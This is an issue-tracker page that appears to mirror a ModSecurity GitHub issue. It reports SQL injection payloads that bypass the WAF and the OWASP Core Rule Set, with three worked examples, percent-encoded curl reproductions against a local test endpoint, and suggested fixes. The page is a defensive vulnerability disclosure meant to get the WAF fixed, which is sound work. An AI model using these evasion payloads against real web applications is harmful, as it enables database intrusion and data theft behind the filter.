owasp-modsecurity / owasp-modsecurity/ModSecurity

ModSecurity GET: SQLi bypass via scalar-expression and operator rewrites

Open
#3,585 2 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

3.x
Dominant language
C++
Stars
9.8k
Forks
1.8k
Avg merge
2h 46m
Merged PRs (30d)
1

Description

[ModSecurity][GET] SQLi bypass via predicate/operator rewrites around scalar expressions and ordering predicates

Summary

  • WAF: ModSecurity
  • Request manner: GET
  • Defect pattern: Predicate/operator rewrites around scalar expressions and ordering predicates.
  • Evaluation scope: 623 unique SQLi mutation attempts; 357 successful bypasses were observed in this manner.
  • In our log format, 1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.

Environment

  • WAF version: 3.0.6
  • Notes: ModSecurity-nginx connector v1.0.2; OWASP Core Rule Set 3.3.2; OpenResty 1.19.9.1.

Mutation Rules Involved

The study associates this pattern with the following concrete fuzzer rules:

  • swap_int_repr: rewrites integer literals as equivalent hexadecimal values or (SELECT n) expressions

Invisible-character Notation

The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:

  • <TAB> = horizontal tab (\t, U+0009)
  • <LF> = line feed (\n, U+000A)
  • <CR> = carriage return (\r, U+000D)
  • <FF> = form feed (\f, U+000C)
  • <VT> = vertical tab (\v, U+000B)
  • <NBSP> = non-breaking space (U+00A0)

Representative Successful Examples

Case 1
  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
  • Original payload excerpt:
...1));select count(*) from domain.domains as t1,domain.columns as t2,domain.tables as t3 and ((8535=8535
  • Transformed payload excerpt, with invisible characters rendered explicitly:
0x1));/*=j{`*//*\\A>n*/count(*) /*r*/ domain.domains/**//*ixuU8*//*9i*/t1,domain.columns/*Sa#<VT>h*//*!aS*//*1E*/t2,domain.tables/**//*!as*//**/t3/**//*!and*/ (('gD'<>'gDn' OR False
Minimal Reproduction
  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • Parameter name: id
  • Transport encoding: the payload is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=0x1%29%29%3B%2F%2A%3Dj%7B%60%2A%2F%2F%2A%5CA%3En%2A%2Fcount%28%2A%29%20%2F%2Ar%2A%2F%20domain.domains%2F%2A%2A%2F%2F%2AixuU8%2A%2F%2F%2A9i%2A%2Ft1%2Cdomain.columns%2F%2ASa%23%0Bh%2A%2F%2F%2A%21aS%2A%2F%2F%2A1E%2A%2Ft2%2Cdomain.tables%2F%2A%2A%2F%2F%2A%21as%2A%2F%2F%2A%2A%2Ft3%2F%2A%2A%2F%2F%2A%21and%2A%2F%20%28%28%27gD%27%3C%3E%27gDn%27%20OR%20False'
Case 2
  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
  • Original payload excerpt:
...n0xhnofy1' ) as mara where 7164 = 7164
  • Transformed payload excerpt, with invisible characters rendered explicitly:
n0xhnofy1'<LF>)<TAB><LF>As/*#w*/mara<LF>WHeRE<VT>1479<>1480<TAB>oR<LF>False
Minimal Reproduction
  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • Parameter name: id
  • Transport encoding: the payload is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=n0xhnofy1%27%0A%29%09%0AAs%2F%2A%23w%2A%2Fmara%0AWHeRE%0B1479%3C%3E1480%09oR%0AFalse'
Case 3
  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
  • Original payload excerpt:
... select * from users where id = 1 or \\.<\\ or 1 = 1 -- 1
  • Transformed payload excerpt, with invisible characters rendered explicitly:
 /**/* FroMusers /*9#*/ id/**/ LiKE 1/**/oR<LF>\\.<\\ /*?~*/ 7119 LIKE 7119/**/OR False/**/-- 1'v
Minimal Reproduction
  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • Parameter name: id
  • Transport encoding: the payload is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=%20%2F%2A%2A%2F%2A%20FroMusers%20%2F%2A9%23%2A%2F%20id%2F%2A%2A%2F%20LiKE%201%2F%2A%2A%2FoR%0A%5C.%3C%5C%20%2F%2A%3F~%2A%2F%207119%20LIKE%207119%2F%2A%2A%2FOR%20False%2F%2A%2A%2F--%201%27v'

Suggested Fixes

  • Normalize SQL expressions before rule matching and detect semantically equivalent operators such as LIKE, NOT LIKE, <>, &&, boolean invariants, and wrapped scalar expressions.
  • Add regression coverage for ORDER BY <expr> and scalar-expression rewrites such as hexadecimal integers and (SELECT n) wrappers.
  • Add these transformed payloads as regression tests and assert that they remain blocked after the fix.

Validation Plan

  • Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
  • Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
  • Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by replaying the three percent-encoded curl reproductions against the GET /waf endpoint and trace the existing SQL expression canonicalization and rule-matching path. Add regression coverage for the transformed payloads, scalar and ORDER BY rewrites, and benign comments or whitespace; done means the malicious requests remain blocked across the stated request manners without false-positive regressions.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp
Domain
security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
42/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.